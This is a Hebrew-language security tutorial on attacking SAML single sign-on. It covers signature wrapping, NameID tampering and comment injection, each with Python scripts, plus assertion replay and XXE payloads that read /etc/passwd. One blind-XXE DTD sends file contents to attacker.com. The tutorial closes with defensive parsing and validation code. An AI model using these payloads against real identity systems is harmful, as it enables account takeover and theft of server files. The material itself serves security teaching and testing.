לדלג לתוכן

תקיפת SAML - SAML Attacks

מבוא

SAML (Security Assertion Markup Language) הוא פרוטוקול אותנטיקציה מבוסס XML המשמש בעיקר בסביבות ארגוניות לניהול Single Sign-On (SSO). למרות שהפרוטוקול מציע מנגנוני אבטחה חזקים, הטמעות לקויות וחולשות בעיבוד XML יוצרות הזדמנויות תקיפה רבות.


סקירת זרימת SAML

השחקנים

- משתמש (User / Principal) - המשתמש שרוצה לגשת לשירות
- ספק שירות - SP (Service Provider) - האפליקציה שהמשתמש רוצה לגשת אליה
- ספק זהות - IdP (Identity Provider) - השרת שמאמת את המשתמש (Active Directory, Okta, וכו')

זרימת SP-Initiated SSO

1. משתמש -> SP: ניסיון גישה לאפליקציה
2. SP -> משתמש: הפניה ל-IdP עם SAML Request
3. משתמש -> IdP: הזדהות (שם משתמש + סיסמה)
4. IdP -> משתמש: SAML Response עם Assertion חתום
5. משתמש -> SP: העברת ה-SAML Response
6. SP: אימות החתימה וקבלת הזהות

מבנה SAML Response

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                ID="_response123" Version="2.0"
                IssueInstant="2024-01-15T10:00:00Z"
                Destination="https://sp.example.com/acs">

    <saml:Issuer>https://idp.example.com</saml:Issuer>

    <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
        <!-- חתימה דיגיטלית -->
        <ds:SignedInfo>
            <ds:Reference URI="#_assertion456">
                <ds:DigestValue>abc123...</ds:DigestValue>
            </ds:Reference>
        </ds:SignedInfo>
        <ds:SignatureValue>xyz789...</ds:SignatureValue>
    </ds:Signature>

    <saml:Assertion ID="_assertion456" Version="2.0"
                     IssueInstant="2024-01-15T10:00:00Z">

        <saml:Issuer>https://idp.example.com</saml:Issuer>

        <saml:Subject>
            <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
                user@example.com
            </saml:NameID>
        </saml:Subject>

        <saml:Conditions NotBefore="2024-01-15T09:55:00Z"
                          NotOnOrAfter="2024-01-15T10:05:00Z">
            <saml:AudienceRestriction>
                <saml:Audience>https://sp.example.com</saml:Audience>
            </saml:AudienceRestriction>
        </saml:Conditions>

        <saml:AuthnStatement AuthnInstant="2024-01-15T10:00:00Z">
            <saml:AuthnContext>
                <saml:AuthnContextClassRef>
                    urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport
                </saml:AuthnContextClassRef>
            </saml:AuthnContext>
        </saml:AuthnStatement>

        <saml:AttributeStatement>
            <saml:Attribute Name="role">
                <saml:AttributeValue>user</saml:AttributeValue>
            </saml:Attribute>
        </saml:AttributeStatement>

    </saml:Assertion>
</samlp:Response>

תקיפה 1: עטיפת חתימת XML - XML Signature Wrapping (XSW)

הרקע

בתקיפת XSW, התוקף מעביר את האלמנט החתום למיקום אחר ב-XML ומוסיף אלמנט זדוני במקום המקורי. ספריות שלא מאמתות כראוי את הקשר בין החתימה לתוכן עלולות לאמת את החתימה על האלמנט המקורי, אך להשתמש בתוכן הזדוני.

סוגי XSW

XSW Attack 1 - העברת Assertion

<!-- SAML Response מקורי (פשוט) -->
<Response>
    <Assertion ID="original">
        <Subject>
            <NameID>user@example.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <Reference URI="#original"/>
    </Signature>
</Response>

<!-- XSW Attack: הוספת Assertion זדוני -->
<Response>
    <!-- Assertion זדוני - לא חתום אבל ייקרא ראשון -->
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <!-- Assertion מקורי - חתום אבל יתעלמו ממנו -->
    <Assertion ID="original">
        <Subject>
            <NameID>user@example.com</NameID>
        </Subject>
    </Assertion>
    <Signature>
        <Reference URI="#original"/>
    </Signature>
</Response>

XSW Attack 2 - עטיפה ב-Extensions

<Response>
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <Extensions>
        <!-- Assertion מקורי חתום מוחבא כאן -->
        <Assertion ID="original">
            <Subject>
                <NameID>user@example.com</NameID>
            </Subject>
        </Assertion>
        <Signature>
            <Reference URI="#original"/>
        </Signature>
    </Extensions>
</Response>

XSW Attack 3 - שימוש ב-Object

<Response>
    <Assertion ID="evil">
        <Subject>
            <NameID>admin@example.com</NameID>
        </Subject>
    </Assertion>

    <Signature>
        <Reference URI="#original"/>
        <Object>
            <!-- מוחבא בתוך Object של החתימה -->
            <Assertion ID="original">
                <Subject>
                    <NameID>user@example.com</NameID>
                </Subject>
            </Assertion>
        </Object>
    </Signature>
</Response>

תקיפה 2: מניפולציית SAML Response - Response Manipulation

שינוי NameID

אם ה-SP לא מאמת את החתימה כראוי, או אם החתימה מכסה רק חלק מה-Response:

<!-- מקורי -->
<NameID>user@example.com</NameID>

<!-- מניפולציה -->
<NameID>admin@example.com</NameID>

פענוח ושינוי SAML Response

import base64
import zlib
from lxml import etree

def decode_saml_response(saml_b64):
    """פענוח SAML Response מ-Base64"""
    decoded = base64.b64decode(saml_b64)

    try:
        # ניסיון deflate (SAML Redirect binding)
        decompressed = zlib.decompress(decoded, -15)
        return decompressed
    except:
        # כבר לא דחוס (POST binding)
        return decoded

def modify_saml_response(saml_xml, new_nameid):
    """שינוי NameID ב-SAML Response"""
    root = etree.fromstring(saml_xml)

    # מרחבי שמות
    ns = {
        'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
        'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol'
    }

    # חיפוש ושינוי NameID
    name_ids = root.findall('.//saml:NameID', ns)
    for name_id in name_ids:
        print(f"[*] NameID מקורי: {name_id.text}")
        name_id.text = new_nameid
        print(f"[*] NameID חדש: {name_id.text}")

    return etree.tostring(root)

def encode_saml_response(saml_xml):
    """קידוד SAML Response חזרה ל-Base64"""
    return base64.b64encode(saml_xml).decode()

# שימוש
saml_response = "PHNhbWxwOl..."  # Base64 encoded
xml = decode_saml_response(saml_response)
modified = modify_saml_response(xml, "admin@example.com")
new_response = encode_saml_response(modified)
print(f"[+] SAML Response מותקף: {new_response}")

תקיפה 3: הזרקת הערה - Comment Injection in SAML

הרקע

חולשה שהתגלתה ב-2018 (CVE-2017-11427) בספריות SAML רבות. הוספת הערת XML בתוך NameID גרמה לספריות לקטוע את הערך.

דוגמה

<!-- מקורי -->
<NameID>user@example.com</NameID>

<!-- עם הערה -->
<NameID>admin@example.com<!--.evil.com--></NameID>

איך זה עובד

1. ספריית ה-XML מפרשת את ה-NameID כ: "admin@example.com"
   (ההערה מוסרת)

2. אימות החתימה עובד כי ההערה היא חלק חוקי מ-XML

3. ה-SP מקבל "admin@example.com" כזהות המשתמש

4. התוקף מקבל גישה כאדמין!

קוד ניצול

def comment_injection_attack(saml_xml, target_user, original_user):
    """תקיפת הזרקת הערה ב-SAML"""
    from lxml import etree

    root = etree.fromstring(saml_xml)
    ns = {'saml': 'urn:oasis:names:tc:SAML:2.0:assertion'}

    name_ids = root.findall('.//saml:NameID', ns)

    for name_id in name_ids:
        # יצירת NameID עם הערה
        # target_user = "admin@example.com"
        # original_user = "user@example.com"

        # הערך החדש: admin@example.com<!--user@example.com-->
        name_id.text = target_user
        comment = etree.Comment(original_user)
        name_id.append(comment)

    return etree.tostring(root)

תקיפה 4: שחזור Assertion - Assertion Replay

הרקע

אם ה-SP לא עוקב אחרי Assertions שכבר שומשו, ניתן לשלוח אותם שוב.

תנאים לניצול

1. ה-SP לא בודק InResponseTo (מזהה הבקשה המקורית)
2. ה-SP לא שומר רשימה של Assertion IDs שכבר שומשו
3. חלון הזמן (NotBefore/NotOnOrAfter) רחב מספיק
4. או שה-SP לא בודק חלון זמן בכלל

ניצול

import requests
import time

def replay_saml_assertion(sp_acs_url, saml_response, relay_state=None):
    """שחזור SAML Assertion"""

    data = {
        'SAMLResponse': saml_response
    }

    if relay_state:
        data['RelayState'] = relay_state

    # ניסיון ראשון - מקורי
    resp1 = requests.post(sp_acs_url, data=data, allow_redirects=False)
    print(f"[*] ניסיון 1: {resp1.status_code}")

    # ניסיון שני - replay
    time.sleep(2)
    resp2 = requests.post(sp_acs_url, data=data, allow_redirects=False)
    print(f"[*] ניסיון 2 (replay): {resp2.status_code}")

    if resp2.status_code in [200, 302]:
        print("[+] Assertion replay עובד!")
    else:
        print("[-] Assertion replay נחסם")

תקיפה 5: XXE ב-SAML - XXE in SAML

הרקע

SAML מבוסס על XML, ולכן חשוף ל-XXE (XML External Entity) אם הפרסר לא מוגדר כראוי.

דוגמאות

<!-- XXE בסיסי לקריאת קובץ -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
    <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
        <saml:Subject>
            <saml:NameID>&xxe;</saml:NameID>
        </saml:Subject>
    </saml:Assertion>
</samlp:Response>
<!-- XXE עם SSRF -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<samlp:Response>
    <saml:Assertion>
        <saml:Issuer>&xxe;</saml:Issuer>
    </saml:Assertion>
</samlp:Response>
<!-- XXE עם parameter entity (blind) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
]>
<samlp:Response>
    <saml:Assertion>
        <saml:Subject>
            <saml:NameID>test</saml:NameID>
        </saml:Subject>
    </saml:Assertion>
</samlp:Response>

קובץ DTD בשרת התוקף (evil.dtd)

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%wrapper;
%exfil;

כלי עבודה: SAMLRaider - הרחבת Burp

התקנה ושימוש

1. התקינו את SAMLRaider מ-BApp Store
2. לכדו בקשת SAML (POST ל-ACS endpoint)
3. בלשונית SAMLRaider:
   - פענוח אוטומטי של ה-SAML Response
   - עריכת NameID ושדות אחרים
   - ביצוע XSW אוטומטי
   - חתימה מחדש עם מפתח עצמי
   - בדיקת XXE

תקיפות אוטומטיות עם SAMLRaider

XSW attacks:
1. XSW1: העתקת Assertion והכנסתו לפני המקורי
2. XSW2: הכנסת Assertion חדש אחרי ה-Response
3. XSW3: הכנסת Assertion חדש לפני Assertion המקורי
4. XSW4: העתקת Assertion ל-Extensions
5. XSW5: שינוי URI של ה-Reference
6. XSW6: העתקת Assertion לתוך Object בחתימה
7. XSW7: שינוי Extensions עם Assertion מקורי
8. XSW8: הכנסת Assertion מקורי כילד של Assertion זדוני

סקריפט ניתוח SAML

#!/usr/bin/env python3
"""
ניתוח SAML Response
"""

import base64
import zlib
from lxml import etree

def analyze_saml(saml_b64):
    """ניתוח מלא של SAML Response"""

    # פענוח
    try:
        raw = base64.b64decode(saml_b64)
        try:
            xml = zlib.decompress(raw, -15)
        except:
            xml = raw
    except:
        print("[-] שגיאה בפענוח Base64")
        return

    root = etree.fromstring(xml)

    ns = {
        'saml': 'urn:oasis:names:tc:SAML:2.0:assertion',
        'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol',
        'ds': 'http://www.w3.org/2000/09/xmldsig#'
    }

    print("[*] ניתוח SAML Response")
    print("=" * 50)

    # מידע בסיסי
    issuer = root.find('.//saml:Issuer', ns)
    if issuer is not None:
        print(f"  מנפיק (Issuer): {issuer.text}")

    # NameID
    name_ids = root.findall('.//saml:NameID', ns)
    for nid in name_ids:
        print(f"  NameID: {nid.text}")
        print(f"    Format: {nid.get('Format', 'N/A')}")

    # Conditions
    conditions = root.find('.//saml:Conditions', ns)
    if conditions is not None:
        print(f"  NotBefore: {conditions.get('NotBefore', 'N/A')}")
        print(f"  NotOnOrAfter: {conditions.get('NotOnOrAfter', 'N/A')}")

    # Audience
    audiences = root.findall('.//saml:Audience', ns)
    for aud in audiences:
        print(f"  Audience: {aud.text}")

    # Attributes
    attrs = root.findall('.//saml:Attribute', ns)
    for attr in attrs:
        name = attr.get('Name', 'N/A')
        values = [v.text for v in attr.findall('saml:AttributeValue', ns)]
        print(f"  Attribute '{name}': {', '.join(values)}")

    # חתימות
    signatures = root.findall('.//ds:Signature', ns)
    print(f"\n  חתימות: {len(signatures)}")
    for i, sig in enumerate(signatures):
        ref = sig.find('.//ds:Reference', ns)
        if ref is not None:
            print(f"    חתימה {i+1}: Reference URI={ref.get('URI', 'N/A')}")

    # XML מפורמט
    print("\n[*] XML מלא:")
    print(etree.tostring(root, pretty_print=True).decode())

if __name__ == "__main__":
    saml = input("הזינו SAML Response (Base64): ")
    analyze_saml(saml)

הגנות - Defenses

1. אימות חתימה קפדני

from signxml import XMLVerifier

def validate_saml_response(saml_xml, idp_cert):
    """אימות חתימת SAML"""
    try:
        # אימות החתימה
        verified = XMLVerifier().verify(
            saml_xml,
            x509_cert=idp_cert
        )

        # ודאו שהחתימה מכסה את ה-Assertion המשמש
        # ולא רק אלמנט אחר ב-XML

        return verified.signed_xml
    except Exception as e:
        raise ValueError(f"חתימה לא תקינה: {e}")

2. מניעת XXE

from lxml import etree

def safe_parse_xml(xml_string):
    """פירוס XML בטוח ללא XXE"""
    parser = etree.XMLParser(
        resolve_entities=False,
        no_network=True,
        dtd_validation=False,
        load_dtd=False
    )
    return etree.fromstring(xml_string, parser)

3. אימות מלא של Response

def validate_saml_full(response, expected_audience, expected_destination):
    """אימות מלא של SAML Response"""

    # 1. אימות חתימה
    verify_signature(response)

    # 2. בדיקת Issuer
    verify_issuer(response, trusted_issuers)

    # 3. בדיקת Audience
    verify_audience(response, expected_audience)

    # 4. בדיקת Destination
    verify_destination(response, expected_destination)

    # 5. בדיקת חלון זמן
    verify_time_window(response)

    # 6. בדיקת InResponseTo
    verify_in_response_to(response, pending_requests)

    # 7. בדיקת כפילות (מניעת replay)
    verify_not_replayed(response)

4. המלצות נוספות

- השתמשו בספריות SAML מעודכנות ומתוחזקות
- הגדירו את פרסר ה-XML ללא entity resolution
- דרשו חתימה על ה-Assertion (לא רק על ה-Response)
- בצעו אימות קנוני (canonicalization) לפני בדיקת חתימה
- שמרו רשימה של Assertion IDs שכבר שומשו
- הגבילו את חלון הזמן למינימום הנדרש
- בדקו תמיד Audience ו-Destination

סיכום

תקיפות SAML הן מורכבות אך עלולות לאפשר השתלטות מלאה על חשבונות. הנקודות העיקריות:

  • תקיפות XSW מנצלות חוסר התאמה בין אימות חתימה לקריאת תוכן
  • הזרקת הערה בתוך NameID היא טכניקה פשוטה ויעילה
  • XXE ב-SAML מסוכן במיוחד עקב גישה לקבצים פנימיים
  • שחזור Assertions מתאפשר ללא מעקב אחר שימוש
  • כלי SAMLRaider מקל על זיהוי וניצול חולשות SAML
  • הגנה נכונה דורשת אימות חתימה קפדני, מניעת XXE, ואימות מלא של כל שדות ה-Response